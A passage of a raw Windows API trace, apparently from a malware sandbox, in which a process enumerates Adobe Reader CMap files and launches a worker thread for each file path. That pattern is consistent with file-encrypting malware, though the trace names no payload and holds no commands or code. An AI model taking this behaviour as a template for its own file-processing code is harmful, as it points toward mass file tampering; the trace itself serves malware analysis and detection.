lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="GBKP-E~1")) returned 1 [0167.518] wcscmp (_String1="GBKp-EUC-H", _String2=".") returned 1 [0167.518] wcscmp (_String1="GBKp-EUC-H", _String2="..") returned 1 [0167.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e66c8 [0167.518] wcscpy (in: _Dest=0x8e66c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.518] wcscat (in: _Dest=0x8e66c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.518] wcscat (in: _Dest=0x8e66c8, _Source="GBKp-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" [0167.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e66c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0167.520] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="GBKP-E~2")) returned 1 [0167.520] wcscmp (_String1="GBKp-EUC-V", _String2=".") returned 1 [0167.520] wcscmp (_String1="GBKp-EUC-V", _String2="..") returned 1 [0167.520] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7ef8 [0167.520] wcscpy (in: _Dest=0x8e7ef8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.520] wcscat (in: _Dest=0x8e7ef8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.520] wcscat (in: _Dest=0x8e7ef8, _Source="GBKp-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" [0167.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0167.521] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="GBPC-E~1")) returned 1 [0167.521] wcscmp (_String1="GBpc-EUC-H", _String2=".") returned 1 [0167.521] wcscmp (_String1="GBpc-EUC-H", _String2="..") returned 1 [0167.521] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e78c8 [0167.521] wcscpy (in: _Dest=0x8e78c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.521] wcscat (in: _Dest=0x8e78c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.521] wcscat (in: _Dest=0x8e78c8, _Source="GBpc-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" [0167.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e78c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0167.523] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="GBPC-E~2")) returned 1 [0167.523] wcscmp (_String1="GBpc-EUC-UCS2", _String2=".") returned 1 [0167.523] wcscmp (_String1="GBpc-EUC-UCS2", _String2="..") returned 1 [0167.523] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x940238 [0167.523] wcscpy (in: _Dest=0x940238, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.523] wcscat (in: _Dest=0x940238, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.523] wcscat (in: _Dest=0x940238, _Source="GBpc-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" [0167.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0167.524] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="GBPC-E~3")) returned 1 [0167.524] wcscmp (_String1="GBpc-EUC-UCS2C", _String2=".") returned 1 [0167.524] wcscmp (_String1="GBpc-EUC-UCS2C", _String2="..") returned 1 [0167.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x93fe10 [0167.524] wcscpy (in: _Dest=0x93fe10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.524] wcscat (in: _Dest=0x93fe10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.524] wcscat (in: _Dest=0x93fe10, _Source="GBpc-EUC-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" [0167.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fe10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0167.525] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="GBPC-E~4")) returned 1 [0167.525] wcscmp (_String1="GBpc-EUC-V", _String2=".") returned 1 [0167.525] wcscmp (_String1="GBpc-EUC-V", _String2="..") returned 1 [0167.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6ea8 [0167.525] wcscpy (in: _Dest=0x8e6ea8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.525] wcscat (in: _Dest=0x8e6ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.526] wcscat (in: _Dest=0x8e6ea8, _Source="GBpc-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" [0167.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0167.527] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="GBT-EU~1")) returned 1 [0167.527] wcscmp (_String1="GBT-EUC-H", _String2=".") returned 1 [0167.527] wcscmp (_String1="GBT-EUC-H", _String2="..") returned 1 [0167.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6f38 [0167.527] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.527] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.527] wcscat (in: _Dest=0x8e6f38, _Source="GBT-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" [0167.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0167.694] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="GBT-EU~2")) returned 1 [0167.694] wcscmp (_String1="GBT-EUC-V", _String2=".") returned 1 [0167.694] wcscmp (_String1="GBT-EUC-V", _String2="..") returned 1 [0167.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7e68 [0167.694] wcscpy (in: _Dest=0x8e7e68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.694] wcscat (in: _Dest=0x8e7e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.694] wcscat (in: _Dest=0x8e7e68, _Source="GBT-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" [0168.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0168.279] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0168.279] wcscmp (_String1="H", _String2=".") returned 1 [0168.279] wcscmp (_String1="H", _String2="..") returned 1 [0168.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0168.279] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.279] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.279] wcscat (in: _Dest=0x8cfd80, _Source="H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" [0168.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc [0168.280] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="HKDLA-~1")) returned 1 [0168.280] wcscmp (_String1="HKdla-B5-H", _String2=".") returned 1 [0168.280] wcscmp (_String1="HKdla-B5-H", _String2="..") returned 1 [0168.280] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7f88 [0168.280] wcscpy (in: _Dest=0x8e7f88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.280] wcscat (in: _Dest=0x8e7f88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.280] wcscat (in: _Dest=0x8e7f88, _Source="HKdla-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" [0168.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x125c [0168.287] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="HKDLA-~2")) returned 1 [0168.287] wcscmp (_String1="HKdla-B5-V", _String2=".") returned 1 [0168.287] wcscmp (_String1="HKdla-B5-V", _String2="..") returned 1 [0168.287] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6c68 [0168.287] wcscpy (in: _Dest=0x8e6c68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.287] wcscat (in: _Dest=0x8e6c68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.287] wcscat (in: _Dest=0x8e6c68, _Source="HKdla-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" [0168.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90 [0168.288] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="HKDLB-~1")) returned 1 [0168.288] wcscmp (_String1="HKdlb-B5-H", _String2=".") returned 1 [0168.288] wcscmp (_String1="HKdlb-B5-H", _String2="..") returned 1 [0168.288] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7dd8 [0168.288] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.288] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.288] wcscat (in: _Dest=0x8e7dd8, _Source="HKdlb-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" [0168.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0168.289] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="HKDLB-~2")) returned 1 [0168.289] wcscmp (_String1="HKdlb-B5-V", _String2=".") returned 1 [0168.289] wcscmp (_String1="HKdlb-B5-V", _String2="..") returned 1 [0168.289] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e8498 [0168.290] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.290] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.290] wcscat (in: _Dest=0x8e8498, _Source="HKdlb-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" [0168.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc [0168.291] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="HKGCCS~1")) returned 1 [0168.291] wcscmp (_String1="HKgccs-B5-H", _String2=".") returned 1 [0168.291] wcscmp (_String1="HKgccs-B5-H", _String2="..") returned 1 [0168.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7718 [0168.291] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.291] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.291] wcscat (in: _Dest=0x8e7718, _Source="HKgccs-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" [0168.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8 [0168.292] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="HKGCCS~2")) returned 1 [0168.293] wcscmp (_String1="HKgccs-B5-V", _String2=".") returned 1 [0168.293] wcscmp (_String1="HKgccs-B5-V", _String2="..") returned 1 [0168.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7d48 [0168.293] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.293] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.293] wcscat (in: _Dest=0x8e7d48, _Source="HKgccs-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" [0168.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8 [0168.294] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: 